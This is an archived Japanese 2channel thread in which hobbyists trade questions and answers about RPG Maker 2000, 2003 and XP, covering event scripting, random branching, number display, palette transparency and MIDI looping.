ツクールXPならどっかでタイトル画面をアニメーションさせるスクリプトもあったな。
こないだPC大破してお気に入りデータも全部消えたから解らんが。
知ってる人いたら書いてくれると嬉しい。

2000は最初のタイトルメニュー前はいじれない。
XPなら動画再生のスクリプト+タイトル前にロゴ表示するスクリプトの応用でいけるんじゃないかな。
ただ、動画再生のスクリプトは未だ未完成(?)みたいで動作不安定だった。

341 名前:名前は開発中のものです。 mailto:sage [2006/10/30(月) 00:47:18 ID:eQN4OeVw]
結局ムービーを手前で流すのは今のところ不可能みたいだね。

342 名前:名前は開発中のものです。 mailto:sage [2006/10/30(月) 00:49:17 ID:64NRt2K8]
>>339
XPの話だろ。
XPならいくらでも何とでも書ける。動画再生はまず無理だけど。

タイトル前になにかを表示したかったら、
一番シンプルな解決策はシーンクラスを自作して、
mainセクションでそいつを最初に呼び出すようにするだけだな。

343 名前:名前は開発中のものです。 mailto:sage [2006/10/30(月) 00:55:17 ID:eQN4OeVw]
>>やっぱプログラミングでゲーム作るのは無理だと感じたんで
とあるからそれの配布スクリプトが存在していて特定できないと無理だろうし
XPには動画ファイルを再生する機能も無いし、そのスクリプトも完成した話はまだ聞いていないから。

344 名前:名前は開発中のものです。 mailto:sage [2006/10/30(月) 07:28:05 ID:VYRnvh+2]
あまり適当なことは言わんでほしいなぁ
philis.littlestar.jp/RPGXP/

RPGツクールXPスレッド ver0.02
game10.2ch.net/test/read.cgi/gameama/1110637697/629
72.14.253.104/search?q=cache:v-S-SwMN_c0J:game10.2ch.net/test/read.cgi/gameama/1110637697/629+while+Time.now+-+st+%3C+movie_sec&hl=ja&ct=clnk&cd=1&lr=lang_ja

345 名前:名前は開発中のものです。 mailto:sage [2006/10/30(月) 09:16:50 ID:eQN4OeVw]
適当とか言われてもそんな他板のDAT落ちしたスレのそのデータを
どうやって目的の物だと特定して探し出せって言うんだろう?

XPにはデフォで動画ファイルを再生する機能が無いのも
そのスクリプトも完成した話自分はまだ聞いていないのも
適当な話じゃなく本当の事なんだけどな。

346 名前:名前は開発中のものです。 [2006/10/30(月) 19:29:57 ID:Mg4COTtq]
>>336-345
とにかく、タイトル前に動画挟むのは無理なんですね。

皆さん有難うございました。



347 名前:名前は開発中のものです。 [2006/10/31(火) 14:04:22 ID:sRWkiZ3T]
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

する?、しない? どっち?

するのなら名前を教えて欲しい(ググっても見つからなかった)。

348 名前:名前は開発中のものです。 mailto:sage [2006/10/31(火) 16:18:33 ID:LbNtx4uS]
しますん。

349 名前:名前は開発中のものです。 mailto:sage [2006/10/31(火) 17:34:18 ID:biQtYF+w]
ツクール2000なんですけどイベントでその場で足踏みをさせるにはページ2個作ってスイッチで起こすしかないんでしょうか
キャラ動作指定みたいな手軽にはできませんか?

350 名前:名前は開発中のものです。 mailto:sage [2006/10/31(火) 17:45:12 ID:zzk2rEMe]
ただ足踏みなら「アニメーションタイプ」っていうところで指定できるけど、
止まってる奴を途中から足踏みとかならページ使う方が良いんじゃないの?


351 名前:名前は開発中のものです。 mailto:sage [2006/10/31(火) 21:22:49 ID:bBU5JRLh]
>>348
キングーーーーーーーーーーーーーーーーーーーーーーーー!!!!!!

352 名前:347 mailto:sage [2006/10/31(火) 23:53:53 ID:sRWkiZ3T]
「しますん」も「キング」もヒットしませんね。
やはり無いのかな?

353 名前:名前は開発中のものです。 mailto:sage [2006/10/31(火) 23:59:45 ID:786y5Exj]
ねーよ

354 名前:名前は開発中のものです。 mailto:sage [2006/11/01(水) 00:01:39 ID:Id0xth01]
95自体を使ってデータを改変するイベントを作ってそこで改変させて
そのセーブデータを改変前のゲームにもっていけばいいんじゃない?

355 名前:名前は開発中のものです。 [2006/11/01(水) 17:56:14 ID:NEQdDTXJ]
519 名前:以下、佐賀県庁にかわりまして佐賀県民がお送りします[] 投稿日:佐賀暦2006年,2006/11/01(佐賀県職員) 17:51:37.14 ID:r+AicJGK0
VIP→流れが速い
ラウンコ→ツクール以外の雑談が多い
モナー→キャラがAAなので和む
ゲ製→流れが遅くて多少本格的


356 名前:名前は開発中のものです。 mailto:sage [2006/11/01(水) 18:54:25 ID:TWPSCMEh]
MCI使ったムービー再生用DLLを作ってみたんだけど、
皆の環境でエラーが出ないかどうかテストしてもらって良いですかね?



357 名前:名前は開発中のものです。 mailto:age [2006/11/01(水) 18:56:41 ID:j+jWtI8F]
もう皆さん知ってますかね?

カヴァオの命に関わる冒険攻略ブログ
dc2sakai.exblog.jp/

358 名前:名前は開発中のものです。 mailto:sage [2006/11/02(木) 11:13:23 ID:22YBZyeh]
まぁいまさらだけど人におもしろいと思わせるゲーム作った人ってマジでスゲーわ・・自分で作ってみてマジ実感した・・

359 名前:名前は開発中のものです。 mailto:sage [2006/11/02(木) 19:19:30 ID:IXIsClhf]
音楽が鳴らない…・゚・(ノД`)・゚・
効果音はなるんだけどなぁ。
Hmidi16ってのが悪さしてるって聞いた事あるけど、見当たらないし…

360 名前:名前は開発中のものです。 mailto:sage [2006/11/02(木) 23:59:14 ID:wL/d42Ct]
>>359
タスクの中の音量を右クリしてボリュームコントロールを開く
(無ければコンパネ内のサウンドとオーディオデバイス→音量タブ→詳細設定)

その中の一番左のボリュームコントロールの音量を上げてみる

361 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 00:23:53 ID:BHIJ+AEx]
シュミレーションRPGツクール95を使っている者ですが・・・
画像が上手くインポート出来ません・・・。
どうすればよろしいでしょうか?本当に困ってます。
どなたかご教授お願いいたします。

362 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 01:10:42 ID:XzkTR3Td]
×シュミレーション
○シミュレーション

363 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 16:22:28 ID:wwbWmQGC]
2003で一番目に作成したマップを草原のチップで打って、その下に町のマップを外観まで作ったら、町が草原のチップで作られてしまったんだがそのまま表示するにはどうすればいい?

364 名前:名前は開発中のものです。 [2006/11/04(土) 17:06:37 ID:wNrOLJTG]
日本語でおk

365 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 19:26:00 ID:/YvM9M2j]
2000VALUE。
文章にランダムに主人公の名前を表示させようとしているのですが、
V[1]に主人公番号放り込んで\N[\V[1]]と入れても「不正な主人公」と表示され上手く動きません。
ヘルプには\N[\V[1]]で出来ると書いてるのに…バグだろうか?

366 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 19:56:19 ID:rpmF1jfm]
基本的にバグでもなんでもなく仕様だと思うけど?
説明書の何処にも二重に制御文字が使えるとは書いていなかったような気がするけど。



367 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 20:11:25 ID:U4Jhqe/L]
いや出来るだろ

368 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 21:21:57 ID:mtSPBb1g]
全角とかだったらワロスw

369 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 21:26:34 ID:rpmF1jfm]
もし出来るなら主人公の数を超えた乱数が指定されてるとかじゃないのかね?
5人しか居ないのに乱数が1〜10とか0が入ってるとかそういうの。


370 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 22:51:00 ID:ywYafwhN]
2000valueでの質問。
「シレン」とか「メガテン」みたいな、
一歩ごとに記録されるオートマッピングを作りたいのだけど、
実現するには「○○のダンジョンの一歩目〜」とかの変数を作成して、
一歩ごとに発生するイベントで管理するしか方法ない?
もっと少量の変数で済ませる方法はないものか…

371 名前:名前は開発中のものです。 mailto:sage [2006/11/04(土) 23:04:53 ID:ywYafwhN]
補足…
>>370では、一つの変数に一歩の情報を記録するような書き方をしてしまったが
実際は一つの変数で一歩を担当するのではなく、
一つの変数で複数の歩数の情報を記録する方法を検討してみた
(例えば二進数で、(変数で使える6ケタ)*(±の2通り)=128通りの記録が可能)
その前提で、使う変数を減らせないかという質問。てか、相談。

372 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 00:20:29 ID:ssioNKKb]
一度歩いた場所に透明なイベントを置いていくとか。

373 名前:365 mailto:sage [2006/11/05(日) 00:52:54 ID:4TrvQpBw]
>>366
2000VALUEの文章入力のヘルプには\N[\V[1]]ができるとはっきり書いてる。

>>369
V[1]=定数で\N[\V[1]]やってみましたがだめですた。つーわけで再現実験求む。

374 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 01:03:37 ID:X6qJgNyW]
エラーが起きるのは主人公の最大数より変数が大きいから。
とりあえず主人公数がV[1]=定数より多いか少ないか確認してくれ。

375 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 01:23:49 ID:nETkgFXs]
pandoravote.net/snup/uploader/src/up5814.png
pandoravote.net/snup/uploader/src/up5813.png

今、RPGツクールXP用のショボーンを描いてるんだけど、AとBどちらがいいだろうか?
Aは左右で陰影を変えているもの、Bは左右で陰影を変えていないもの。

376 名前:ち ら し mailto:sage [2006/11/05(日) 04:24:21 ID:FfjllFWb]
ふと
次のツクールでは
RGSSなんぞ捨てて、C#辺りをサポートしたほうがいいんじゃないかと思った
C++やJavaとは違って、実行環境にコンパイラが付属してるし、速度もそこそこ出るし…

#してくれないかな〜?じゃないのはもう随分ツクールに触ってないし、これからも多分触らないから。



377 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 05:50:33 ID:ThPe/oel]
>>373
・入れる数値が正しいか
・変数の番号を間違っていないか
・加算ではなく代入か
・主人公の最大数がおかしくないか
・乱数の範囲は正しいか
・代入しているのが、「○○の番号の変数」になっていないか
・ver1.51かどうか
・割れ物でなく正規品かどうか

378 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 09:57:43 ID:aTmiXnps]
>>376
実行環境にコンパイラがついて何の得が?

379 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 13:37:01 ID:zOwmI/0o]
自己解決した。

380 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 14:40:51 ID:jjVdDwFd]
そうかい

381 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 18:09:35 ID:GR2mCIKO]
>>379
お前は誰だ

382 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 19:09:39 ID:zOwmI/0o]
2003でオープニングムービーを表示するにはどうすればいいでしょうか。

383 名前:名前は開発中のものです。 [2006/11/05(日) 19:15:08 ID:58fIQk1v]
379 :名前は開発中のものです。:2006/11/05(日) 13:37:01 ID:zOwmI/0o
自己解決した。
382 :名前は開発中のものです。:2006/11/05(日) 19:09:39 ID:zOwmI/0o
2003でオープニングムービーを表示するにはどうすればいいでしょうか。

ID:zOwmI/0o

面白くないよ。全然。

384 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 19:57:34 ID:tyCWhx98]
( ゚Д゚)?

385 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 21:22:01 ID:jFAfdh60]
最近読解力が落ちたのか、
このスレで書かれている内容がさっぱり理解できん。

386 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 21:32:44 ID:tTEJfnfZ]
読解力も落ちたのかもしれないが、漠然としすぎて答えにくい質問や答えになっていない答えや
その他真意がわからない書き込みが多いのも確かだと思う。



387 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 22:07:21 ID:FfjllFWb]
>>378
実行用のランタイム以外にコンパイラも個別にインストールしてください…なんてなるととっつきにくいだろ

コンパイラって何ですか?な人も多いだろうし

388 名前:名前は開発中のものです。 mailto:sage [2006/11/05(日) 22:32:47 ID:VHKhYDkn]
>365
V[1]=0001番目の変数ということなら

×\N[\V[1]]
○\N[\V[0001]]

これでおkな筈

389 名前:名前は開発中のものです。 mailto:sage [2006/11/06(月) 01:25:53 ID:zDFdAkBD]
>>370
個人的な思いつきgdgdアイディア。
自作戦闘作れない中級者未満だし
そもそも二進数なんて知りません。

・オートmapの方式二種類
選択肢 A:部屋ごとB:歩数ごと
1:ピクチャ(歩行map下半分隠すとか
ピクチャとピクチャあるいはパノラマと重ねる系じゃないとBは無理) 
2:マップ移動式 イベント満杯で道を隠す
(これなの?ヘルドアー)

ともかく基本システムは完成してるらしく問題は座標かムツカシー
もうちょっと詳しいと楽なのにコモンとかアイテム番号とか
昔の復活の呪文みたいに名前で条件分岐とかそりゃ無理か

もし2なら、イベントIDを記憶させて、消せばいいわけでしょ。
その場合の効率的な記録法とか?

問題点をはっきりさせてくれれば誰か助けてくれると思うよ(甥

390 名前:名前は開発中のものです。 mailto:sage [2006/11/06(月) 01:37:50 ID:zDFdAkBD]
そしてまだチラシ裏は続く
つーか座標か妄想で初心忘れた
座標ね座標XY何を節約するのか変数の数か
スレ使ってごまんなさいねなんか

391 名前:名前は開発中のものです。 mailto:sage [2006/11/06(月) 05:01:02 ID:DVAz3qsf]
sugoijikann
gamdev.org/up/img/8049.zip

392 名前:名前は開発中のものです。 mailto:sage [2006/11/06(月) 18:24:55 ID:J/sgOscc]
しかし、もしツクールVistaとか出るんならXPの良い所はそのままに、ツクール2000で
便利だった要素も追加して欲しいな。発売予定はあるんだろうか?

ピクチャの同時に使用できる枚数も自作戦闘派としては50以上、無制限で使わせて欲しい。
いや、RGSS使えば良い話なんだが一から全部RGSSで組む程の技術はないもんで(つд`

393 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 00:34:48 ID:vqqBqMss]
>>392
ソース共有は行われているわけだし、その辺りは頑張ってとしかww


マウスとキーボードをとっかえひっかえ駆使しなきゃならんのでイベントからのスクリプト呼び出しが面倒…
マクロ機能やイベントテンプレート作成機能なんかがあると、その切り替え頻度が減っていい感じ

394 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 09:32:41 ID:Yz0a5JpI]
2000を元に、使えるピクチャの枚数増やしてゲームを暗号化できるようにしてくれるだけで十分。
数字表示とかにピクチャ使うと50ではとても足りない。

395 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 11:13:17 ID:1/zCqBkC]
任意の場所に文字表示の機能付けたほうがいいな

396 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 12:49:59 ID:vqqBqMss]
>>394
>十分
お前が十分でも他の人は(ry

そんなマイナーチェンジが次バージョンとして出るわけ無い
ほしいなら"2000への"改良要望としてメールしとけよ
それなら実現する可能性はある。



397 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 13:09:43 ID:wQGxZ4YI]
>>396
何をムキになってるんだかw
単に>>394は、自分の主観で凝り固まった妄想を書いてるだけだろ。
突っ込むんなら、チラシの裏に書け、とでも言えばいい話。

398 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 13:16:39 ID:ffjHqk1d]
>>392
もし出るとしても脳がそんな気の利いたことするかどうかは怪しいところだな…。
RGSSは組み始めると楽しくなるから頑張れ(`・ω・´)

ところでこのスレだったと思うんだが、かなり前に過去のツクールのBGM詰め合わせが投下されたことなかったっけ?

399 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 14:44:36 ID:BrC9DRTB]
ツクール2000ですが、確率分岐のやり方が分かりません。
あまりにも初歩的だからかググっても方法が見つからないです。
変数の乱数でそれらしきことは出来ましたが、使い勝手がかなり悪いです。
ヘルプも「確率」「%」などで検索したのですが・・・


400 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 14:51:04 ID:nZO1SqMA]
使い勝手が悪いって、どんなことやってのさ?

401 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 15:02:56 ID:F0KPAi41]
>>399
質問が抽象的で良く判らないね。

Aが46%、Bが32%、それ以外はCにしたい場合は、変数に乱数1〜100を代入して
条件分岐で変数が46以下の場合A、それ以外の場合でさらに分岐46+32=78以下はBそれ以外はC
みたいな具合だけどこれで使い勝手が悪いなら2000はどうしようもないんじゃないかね?

402 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 15:54:05 ID:U1/ivZia]
ゆとりツクール

403 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 16:18:07 ID:ffjHqk1d]
>>401
ごめん、俺もよく分からん文章だと思った

404 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 16:26:11 ID:BrC9DRTB]
>>400
三百個ほど同じイベントをコピーして、それぞれ確率によって動作させたいのですが、
コピーした同じ変数だと「それぞれ」がそれぞれの確率にならなくなってしまうので

>>401
そうなんですか
「確率分岐」はどこかにあって見落としてるだけだと思ってました
ありがとうございました

405 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 23:27:57 ID:ZWQqi3Bu]
ようするに、

変数1にはランダムな値が入る(例えば1〜10の間の値)
変数2にはランダムな値が入る

変数300にはランダムな値が入る

イベント1は変数1の値をもとに動作する(例えば変数1が'0'の場合↑に移動、'1'の場合↓に移動)
イベント2は変数2の値をもとに動作する

イベント300は変数300の値をもとに動作する

イベント2から300はイベント1をコピペして作りたいが、それだともとになる変数が一緒になってしまう
もとになる変数の番号を修正するのがすごく大変だ!

ってこと?

406 名前:名前は開発中のものです。 mailto:sage [2006/11/07(火) 23:42:34 ID:BrC9DRTB]
そういうことですね
「確率分岐」がどこかにあるだろうと思いこんでたんでよく分からない文章になったみたいです

マップデータなんかをテキストに出力できたら置換したりできるんですけどね

まあ無理みたいです



407 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 03:01:38 ID:uKh5mfnG]
確率分岐とやらがあったって、結局同じことなんでは?

408 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 09:00:41 ID:sK/+b2fn]
確率分岐があれば、変数は使わないで済みそうだから
全コピーでいけるんじゃない?

>>406
300個のイベントは動作指定だけにして、
それとは別に、変数管理のイベントを作って以下のように組む。

変数400に1加算
変数400の番号の変数(この場合、変数1)に乱数1〜100代入
変数400に1加算
変数400の番号の変数(この場合、変数2)に乱数1〜100代入

変数400に1加算
変数400の番号の変数(この場合、変数300)に乱数1〜100代入

300個のイベントの方は、>>405の組み方しか思いつかないから
300個分の修正が必要だろうけど、少しは作業量が減ると思う。

あと、ツクールの補助ソフト配布してるサイトで
そういう反復作業を自動でやってくれるソフトがあったような…。
曖昧だから間違ってたらごめん。

409 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 13:14:26 ID:+0ubRORK]
どんなイベントつくりたいんだろう?
マップに入ったら順番にイベント処理してそれぞれ呼び出しして
乱数処理したらソレにあわせてフラグ立てる

って形式なら乱数の器は1個でいいけど、
その分フラグ(変数でも可)がやっぱイベント分必要になるけど

410 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 17:17:16 ID:uKh5mfnG]
>>408
分岐に確率を使いたいだけなら、
分岐の直前に変数に乱数を入れればいいだけだから、
別にコピペで同じ変数でもかまわね。確率分岐とやらがあるのと一緒。

で、それがダメなんだべ?
つーことは、いずれにしろイベントそれぞれに別々の変数が必要なんだから、
確率分岐とやらがあっても同じことだと思うのだけど。

411 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 17:56:20 ID:slGYAWkc]
>>408
どうも
変えるところが少なくなりましたね
ソフト探してみます
見つかったらやってみます
わざわざ詳しくありがとうございました

>>409
それぞれが一定の確率で動く中で、
確率を読んで少しでも有利な方向に向かうようなイベントを作りたいと思っています
なかなか大変そうですね
ありがとうございます

>>407>>410
同じ変数では駄目で、
それぞれ独立して動く同じ確率の分岐が欲しいということはつまり、
同時に動かすこともあるということです
確率分岐が有ればオッケーです
はい

412 名前:名前は開発中のものです。 [2006/11/08(水) 18:18:51 ID:C1KjQWi8]
2000でCTBサイドビュー戦闘つくってるんだけど
数字の表示ってどうすればいいの?

文章の表示で\Vでやろうとしたら
数値によって表示される位置が微妙に変わってしまいます

413 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 20:35:38 ID:auCClwpY]
>>411
説明受けても意味わからん。

共通処理には出来ると思うけど
もっとちゃんとした仕様が分からないとなんとも

つかそもそも確立分岐ってナニ?
確立で分岐させるってことならそれこそ工夫が足りないだけだと思うけど

414 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 20:42:08 ID:St2m4ycs]
そのやり方よりも、ピクチャーで枠作った上に、
見た目が数字のキャラクタを乗せれば良いと思うよ。
各ステータスを桁ごとに算出してそれぞれ変数代入して、
対応する変数を持つ数字キャラクタを、表示位置を調節して配置。

まだ体験版を数日やっただけの脳内ツクラーですが。

415 名前:414 mailto:sage [2006/11/08(水) 20:43:09 ID:St2m4ycs]
>>412>>412に対するレス

416 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 21:47:32 ID:uKh5mfnG]
>>411
変数への乱数代入が分岐の直前でも?
ツクールのイベントの並列処理がどうなっているのかわからないけど、
大丈夫なんじゃないかと思うけどなぁ?

とりあえず、2イベント(キャラ)を並列実行で、
同じ変数に違う値を代入しつつ、その変数で分岐して、
違う動作させる(主人公への近寄るのと逃げるの)というのは成功したよ。

ここまでは確率分岐とやらがあっても同じだと思うんだけど、
なにが違うのだろう?
確かに、そもそも確率分岐ってナニ? って感じだ。



417 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 22:26:26 ID:gfUw6UCJ]
>>389
だいぶ参考になった。
2の方法が楽そうなのでそっちでやってみる
どうやって変数に取得した座標を、実際のマッピングに反映させるのかで迷っていたんだ
イベント満杯の状態から、歩いた場所のイベントを消していくってのは思いつかなかった
ヘルドアーってのがよく分からないけど、とにかくありがとう

418 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 22:43:03 ID:sK/+b2fn]
自分がイメージした確立分岐というのは、
今ある条件分岐に【確立】の項目が増えて、
そこで【5%:15%:30%:50%】とか数値を設定したら
それだけで分岐するって感じ。
これなら変数使わないから、コピーで済むんじゃない?

419 名前:名前は開発中のものです。 [2006/11/08(水) 22:54:19 ID:C1KjQWi8]
>>414
数字作ってみた・・・

でも数字と数字の感覚が広くなりすぎちゃうんだけど・・・
それはRPGツクールでは仕方ないのかな・・・

420 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 22:57:34 ID:C1KjQWi8]
>>419
数字自体を大きくすればいいのか!!

スレ汚しすまんかった

>>414さんありがとう

421 名前:名前は開発中のものです。 mailto:sage [2006/11/08(水) 23:01:06 ID:sK/+b2fn]
418書き込んでから気付いたけど、>>416の方法でできたのなら
今のままでも普通にコピーでいけるのか

422 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 00:09:53 ID:ybmkgsWe]
>>420
YADOでぐぐれ
あとはそこ見て勉強しる

423 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 02:54:46 ID:qGF3HnG0]
>>422
神サイト紹介サンクス

勉強して出直します

424 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:11:42 ID:UQE9QW8M]
久しぶりにRPGツクール2000で作成してるんだけど・・・
顔グラフィックをインポートした時に透過処理をしないようにしたい。
前は出来た気がしたけど、覚えてないし使用しない色を0番目に持っていくのも今さら出来ない。
顔グラフィックの一箇所に空白を用意して透過色を設定する手もあるけど。
・・・まぁ分かる方教えてくださいorz

425 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:19:16 ID:Y7NMqEe/]
>>424
一度RPG変換してパレット指定できる減色ツールで
0番目に別の色があるパレットを指定して減色すればOK。

426 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:23:50 ID:UQE9QW8M]
>>425
即レス有難うございます。どういうツールがあるか分かりませんが探してみます。



427 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:29:55 ID:Y7NMqEe/]
その素材だけで良いなら今UPすれば減色やり直せるけど?

428 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:35:57 ID:UQE9QW8M]
>>427
良ければおススメのツール教えていただけませんか?
自分はEdge、padieを使ってみましたが出来ませんでした。

429 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:43:29 ID:Y7NMqEe/]
それは構わないけど自分は市販のソフトを使ってるから同じ物を使うにはお金がかかる
減色に関しては基本的にOPTPiX、パレットを弄るのはPhotoshopでやってる。

430 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:48:36 ID:UQE9QW8M]
>>429
情報どうもです!
そういやツクールシリーズってXP以降出てませんよね。
ツクール2000は解像度大きく出来たら・・・

431 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 04:59:23 ID:Y7NMqEe/]
人によって理想的なツクールは結構違うから、次出るとしても思い通りになるかどうか。
グラフィックの色や解像度、透過処理がXP並みの2000がいいとか、全く逆の考えで
解像度は2000のままであれにRGSSのようなスクリプトを弄れるエディタが付けばいいとか、
XPの2000や2003にあった機能が省かれていないバージョンが欲しいとか様々。

エンターブレインは今のところ次を出す気がないからRGSSなんてものをつけたような気がする。

432 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 06:40:55 ID:u1AzCoCm]
>424
Edgeでも出来るよ
保存の際にオプションの[背景色を透過する]にチェック入れればいい

433 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 12:54:08 ID:WF9BfjP+]
>424
Edgeでパレットの場所の入れ替えは簡単にできますよ。

434 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 14:35:32 ID:UQE9QW8M]
>>432・433
ありがとうございます。
>>432
書き方が悪かったです、透過させるんじゃなく透過させたくないんです。顔グラとか・・・
>>433
パレットを入れ替えると塗り直しになりませんか?



435 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 14:57:44 ID:WF9BfjP+]
>>434
パレットの場所だけを入れ替える事ができるので、問題ないですよ。
パレットウィンドウの下のこんなボタンをクリックしてパレットを
移動すればパレットの色だけを移動できます。

/⌒\
■  ■←半分くらいまで赤い

436 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 17:27:56 ID:0ZJzxRFL]
YADOってホント神だよな。 たった11年であそこまでツクールを理解できるものなのか?



437 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 17:37:29 ID:+s9GVb1f]
たった11年ってあんた…
褒めてるのか貶してるのかわからん

「ツクールと出会って11年、今はPCプログラマーです」
みたいな人は結構多そう

438 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 17:43:45 ID:DM0g6y+h]
俺もツクールと出会って11年だなぁ。

439 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 17:50:47 ID:0ZJzxRFL]
>>437
何だお前

440 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 19:23:11 ID:2Xx2oxuA]
無駄に絡むな

441 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 19:23:42 ID:UQE9QW8M]
>>435
サンクス
MIDIがループしないんだけど、コントロールチェンジに111を指定っていうのがよく分からない。

442 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 19:46:40 ID:/dXAgrFE]
すいませんXPなんですが
スキルAがあったとして
スキルAを常に通常攻撃と同じ威力にするにはどう設定すればいいですか?
腕力Fや攻撃力Fや威力

443 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 19:48:00 ID:M6t/aycm]
>>441
そのままの意味。
ループさせたい所にコントロールチェンジの111番目を置けばいいだけ。

(コントロールチェンジ=ボリュームなら7番、テンポなら155番目のアレ)

444 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 21:04:13 ID:tae/hV1h]
ツクール2000でバトルイベント駆使して敵もしくは味方に1ターンに2回以上行動させることはできるでしょうか?

445 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 21:15:32 ID:Rr8rEDaD]
2000で属性の抵抗力を変数か何かで知ることはできますか?
もしくは、コマンドにダメージの処理ってのがありますが、属性防御を考慮して減算させたいのですが出来ますか?

446 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 21:44:38 ID:w5/nL/PI]
>>444
できますん

>>445
例えば数値分散0で、調べたい属性のついた定数100のダメージの攻撃を使って、
敵or味方に攻撃、でダメージの値を見るなり使う前後のHPの差を取って変数に代入。
それ以外では不可能。ダメージの処理は、自分で%の値を掛けて計算しろ。



447 名前:名前は開発中のものです。 mailto:sage [2006/11/09(木) 22:20:50 ID:UQE9QW8M]
>>443
ありがとうございます。すぐに自己解決しました。(クレ厨になってたorz


448 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 14:37:07 ID:c1U21XNw]
自分がちょい手を加えたものだけど。
こんなのあります。
zetubou.mine.nu/timer/file/bomber29792_h5.rar

449 名前:442 mailto:sage [2006/11/10(金) 15:05:55 ID:yQLR8Up0]
442だけど自己解決しました
つうか自己解決されるまえにとっとと答えろよ

450 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 15:14:15 ID:IXwVoGMy]
>>449
キミは出来る子だって信じてたからなにも言わなかったのに(´・ω・`)

451 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 15:30:02 ID:h6HSdrVO]
>>449
いゃ自己解決しようとする直前にクレクレになった俺は痛いorz
しかし画面のサイズはどうにかしたいな(できないけど
ツクールXP体験版をプレイしてみたけど、あの位の大きさじゃないと目がしぬ。
それにしてもXPは綺麗な画質だなぁ。問題は自分じゃそれ相応のグラフィック作れそうにないし
スペック高杉(?)。あと改めて思ったけど顔グラメーカーって凄いな。



452 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 15:50:39 ID:lXvBmwRw]
相応のグラフィックって何?
ツクXPのRTPやFSMみたいなリアル風のドット絵のこと?
スーファミの頃のスクウェアのドット絵とか、そういうの好きな人は多いね

DSの「きみのためなら死ねる」とか、PSPの「ロコロコ」は良かった
リアル風なドット絵なんて無理に使う必要ない
解像度が上がればラクガキ風の2D絵を扱いやすくなる

453 名前:名前は開発中のものです。 [2006/11/10(金) 19:44:41 ID:P1xMIhMh]
…FSMがリアル風?

どのあたりが?

454 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 19:49:43 ID:onFvfVIR]
FSMは前傾姿勢に見えるのが何とも

455 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 20:09:28 ID:IXwVoGMy]
>>453
ゲームの世界に住んでる人にはリアルなんじゃね?

つっか、揚げ足取りだろそれ。
